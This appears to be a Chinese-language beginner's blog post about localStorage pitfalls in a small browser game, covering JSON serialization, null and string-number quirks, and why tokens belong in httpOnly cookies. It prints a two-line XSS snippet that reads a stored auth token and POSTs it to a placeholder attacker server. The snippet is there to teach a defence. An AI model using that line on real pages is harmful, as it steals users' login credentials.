到目前為止,只要重新整理頁面,一切歸零:名字沒了、回合數沒了。因為資料都在記憶體裡,關掉就消失。
今天要用 localStorage —— 瀏覽器提供的小型倉庫,存進去的東西關掉瀏覽器、重開電腦都還在。
localStorage.setItem("key", "value"); // 存
localStorage.getItem("key"); // 讀(沒有的話回傳 null)
localStorage.removeItem("key"); // 刪一筆
localStorage.clear(); // 全部清空
看起來很單純,但我今天撞了四個坑,而且每一個都跟前面幾天學過的東西有關。
const hero = { name: "勇者", hp: 100 };
localStorage.setItem("hero1", hero);
const 讀回來 = localStorage.getItem("hero1");
console.log("讀回來的值:", 讀回來);
console.log("型別:", typeof 讀回來);
console.log("想拿 name:", 讀回來.name);
我猜讀回來會是 { name: "勇者", hp: 100 },而 .name 可能拿不到 —— 想說大概是少套了一層。
實際結果:
讀回來的值: [object Object]
型別: string
想拿 name: undefined
![插入 day20-2.png:讀回來的值是 [object Object]](https://ithelp.ithome.com.tw/upload/images/20260915/20184006qmmcBDOCaS.png)
[object Object] —— 這是 JavaScript 在「把物件硬轉成字串」時的預設產物。也就是說,name 和 hp 不是包裝錯了,是整包資料已經消失,只剩下這 15 個字元。
我猜對了結果(拿不到 name),但原因完全不同。不是層數的問題,是那已經不是一個物件了,而是一個普通字串 —— 字串當然沒有 name 屬性。
最可怕的是它從頭到尾不報錯。 setItem 開開心心地存了,getItem 開開心心地還你,只是東西不見了。又一個安靜失敗。
const hero2 = { name: "勇者", hp: 100, skills: ["火球術", "治療"] };
localStorage.setItem("hero2", JSON.stringify(hero2));
const 還原 = JSON.parse(localStorage.getItem("hero2"));
console.log("拿 name:", 還原.name); // 勇者
console.log("拿陣列第一項:", 還原.skills[0]); // 火球術

倉庫裡實際存的東西長這樣:
{"name":"勇者","hp":100,"skills":["火球術","治療"]}
它是一個字串,只是這個字串有結構,可以被完整還原。JSON.stringify 負責「物件 → 字串」,JSON.parse 負責「字串 → 物件」。
JSON.stringify 我 Day 6 用過一次 —— 當時是為了在主控台凍結陣列的快照。今天它有了第二個用途。同一個工具,兩種完全不同的場合。
getItem 找不到東西時回傳 null —— Day 10 那個「查無此物」的老朋友。
const best = localStorage.getItem("bestTurn");
console.log("第一次讀:", best, typeof best); // null "object"
console.log("直接相加:", best + 1);
console.log("轉數字後:", Number(best) + 1);
我猜兩個都是 1,結果也真的都是 1。

但我原本以為的理由是「null 會被 1 取代」,實際規則是:null 在數學運算裡會被當成 0,所以 0 + 1 = 1。
而真正值得注意的是另一件事 —— 這次「忘記轉數字」剛好也是對的。
對照 Day 15:當時輸入框是空的,"" + 1 得到的是字串 "1",因為 "" 是字串,加號就變成拼接。但 null 不是字串,所以加號做的是數學加法,得到數字 1。
同樣是「沒有資料」,null 和 "" 的行為完全不同。而這種「在某個情況下碰巧正確」的程式碼,跟 Day 16 那個「min = 1 時公式碰巧正確」是同一類最危險的 bug —— 它在你最常測的情況下是對的。
localStorage.setItem("turn", 5);
const t = localStorage.getItem("turn");
console.log(t, typeof t); // 5 string
console.log("字串相加:", t + 1); // 51
console.log("轉數字:", Number(t) + 1); // 6

存的時候給它數字 5,它自己轉成字串 "5" —— 因為坑一說的,它只能存字串。
"5" + 1 得到 "51"。這就是 Day 15 那個輸入框的坑,換了一個入口又出現一次。
所以我的規則變成:任何從 localStorage 拿出來的數字,一律先 Number() 轉一次。
紀錄功能有個設計問題:第一次玩、還沒有任何紀錄的時候,該存什麼?
| 方案 | 問題 |
|---|---|
存 0 |
沒有人能用 0 回合贏,這個紀錄永遠破不了 |
存 999 |
玩家可能看到「最少回合紀錄:999 回合」 |
不存,用 null 判斷 |
要多寫一個判斷 |
一開始我覺得 999 也可以 —— 如果設定成「必須通關過一次才看得到挑戰」,那第一筆紀錄一定會取代 999,玩家永遠看不到那個數字。
但想了一下還是選 null,理由是未來有問題時才不會誤判。
999 的麻煩在於它假裝自己是一筆真的紀錄:
這種「用特定數值假裝自己是空的」在業界叫 magic number(魔術數字),是經典的技術債。
而 null 的好處正好相反:它逼你明確處理「沒有資料」的情況。
function getBestTurn() {
const raw = localStorage.getItem(RECORD_KEY);
if (raw === null) {
return null; // 還沒有任何紀錄
}
return Number(raw); // 記得轉數字
}
整合進遊戲之後,我在 reset() 裡發現一個問題。
當時我重置了血量、回合、鞭屍次數、isOver,但沒有重置 battleStarted。結果:
| 重新開始的方式 | 名字能改嗎 | 回合數 | 紀錄 |
|---|---|---|---|
| 重開瀏覽器 | 能 | 歸零 | 保留 |
| 按「再戰一次」 | 不能 | 歸零 | 保留 |
同樣是「重來一場」,玩家卻得到兩種不同的結果,而且沒有任何合理的理由解釋為什麼。這種不一致就是 bug —— 即使兩邊單獨看都「能用」。
而修的時候還有第二層:只把 state.battleStarted 設回 false 還不夠,輸入框和按鈕仍然是灰的。那會變成新的不一致 —— 狀態說「戰鬥還沒開始」,畫面卻說「不能輸入」。
state.battleStarted = false;
nameInput.disabled = false;
startBtn.disabled = false;
狀態和畫面要一起重置。 這是 Day 11 那個「資料改了畫面沒跟上」的第二次現形,只是這次反過來 —— 我改了資料,忘了畫面。
DevTools 有一個「應用程式」分頁,左邊點開「本機儲存空間」,可以直接看到所有存進去的東西。

而且不只能看 —— 可以直接雙擊修改,也可以刪掉。
所以 localStorage 是「方便」不是「安全」。這跟 Day 15 那個 maxlength 完全同一個道理:前端的一切都可以被繞過。
看到這裡我一度覺得:那這東西在我的遊戲裡根本沒地方用啊?既然能被改,回合數不能記、血量攻防更不能記,頂多記一下勇者名字(被改了無傷大雅)。
我還想到它真正常見的用途:登入網站之後拿到一把鑰匙,只要沒過期就不用重新登入 —— 那確實是 localStorage 的典型場景。而這件事讓我想起半年前的一個發現。
大約半年前我才知道,可以在 DevTools 的「應用程式」分頁看到自己登入帳號的憑證(token)。後來發現這東西很實用:用 Postman 測需要登入的 API 時,把它複製過去就能通過驗證,不用每次重新跑登入流程。這是很多人在用的測試技巧。
當時我還想過它安不安全,自己推了一輪:
所以結論是:只要使用者不要「自己」交給別人,應該算安全吧?
寫到 Day 20 我才發現,這個推理前三點都對,但最後那句有個洞 —— XSS 攻擊不需要使用者自願交出來。
回想 Day 13 那個看不見的攻擊。如果網站有 XSS 漏洞,攻擊者的 JavaScript 在頁面上執行,兩行就夠了:
const token = localStorage.getItem("authToken");
fetch("https://攻擊者的伺服器/收集", { method: "POST", body: token });
畫面完全正常,使用者什麼都沒做,憑證已經被送走了。 這就是 Day 13 那張隱形破圖的真實版本。
而業界的解法很直接:讓 JavaScript 根本讀不到它。
| 存放位置 | JS 讀得到嗎 | XSS 能偷走嗎 |
|---|---|---|
| localStorage | 讀得到 | 能 |
| 一般 cookie | 讀得到 | 能 |
| httpOnly cookie | 讀不到 | 偷不走 |
httpOnly 的意思是「這個 cookie 只給 HTTP 請求自動帶上,JavaScript 不准碰」。瀏覽器每次請求都會自動附上它,但 document.cookie 完全看不到 —— 所以就算攻擊者成功注入程式碼,也拿不到。
這裡有個對測試工作的實際影響:如果一個網站的憑證是 httpOnly cookie,你在「應用程式」分頁就看不到它的值,也沒辦法複製到 Postman。那時候要測 API 得換方法(在 Postman 裡真的跑一次登入,或用瀏覽器的「Copy as cURL」)。
反過來說,能在那裡看到並複製出來,就代表它存在 localStorage 或一般 cookie。這不一定是做錯了 —— 取決於風險評估和其他防護(例如效期很短、有刷新機制)。但這確實是一個值得問的問題,而我以前根本不知道有這個問題可以問。
半年前我覺得那是一個「好用的測試小技巧」,現在看它同時也是一個「這個網站把鑰匙放在 JavaScript 拿得到的地方」的訊號。同一個畫面,學了 XSS 之後看到的東西完全不一樣。
但寫下「名字被改了無傷大雅」這句話的時候,我發現自己的推理有個洞:如果判斷標準是「被改了會怎樣」,那單機的回合紀錄其實也無傷大雅。
玩家把紀錄改成 1 回合,然後看著一個自己明知道是假的數字 —— 這叫騙自己,不叫作弊。沒有排行榜、沒有別人看得到,沒有受害者。
所以真正的判斷標準不是「能不能被改」,而是:改了之後誰受害?
| 資料性質 | 能用 localStorage 嗎 |
|---|---|
| 單機紀錄、偏好設定、記住上次輸入 | 可以 —— 改了只影響自己 |
| 跟別人比較的排行榜 | 不行 —— 會影響其他玩家 |
| 金錢、權限、購買紀錄 | 絕對不行 |
這也讓我看清楚明年那個「雲端英雄榜」的難處:那才是真正不能用 localStorage 的場景。分數必須存在伺服器,而且伺服器要自己驗算 —— 不能相信前端傳過來的任何數字。
一開始的懷疑方向是對的(「這東西能被改,那我能信任它嗎?」),只是答案不是「不能用」,而是「看資料的性質」。
今天搞懂的事:
localStorage 的四個方法:setItem / getItem / removeItem / clear[object Object],資料整包消失而且不報錯JSON.stringify,讀回來要 JSON.parse
null;null 在運算裡被當成 0(跟 "" 的行為不同)Number() 轉換null 表示「沒有資料」,不要用 999 這種魔術數字假裝httpOnly cookie 讓 JavaScript 根本讀不到它明天要當一次自己的 QA:拿一個被動過手腳的版本,找出裡面藏的 bug。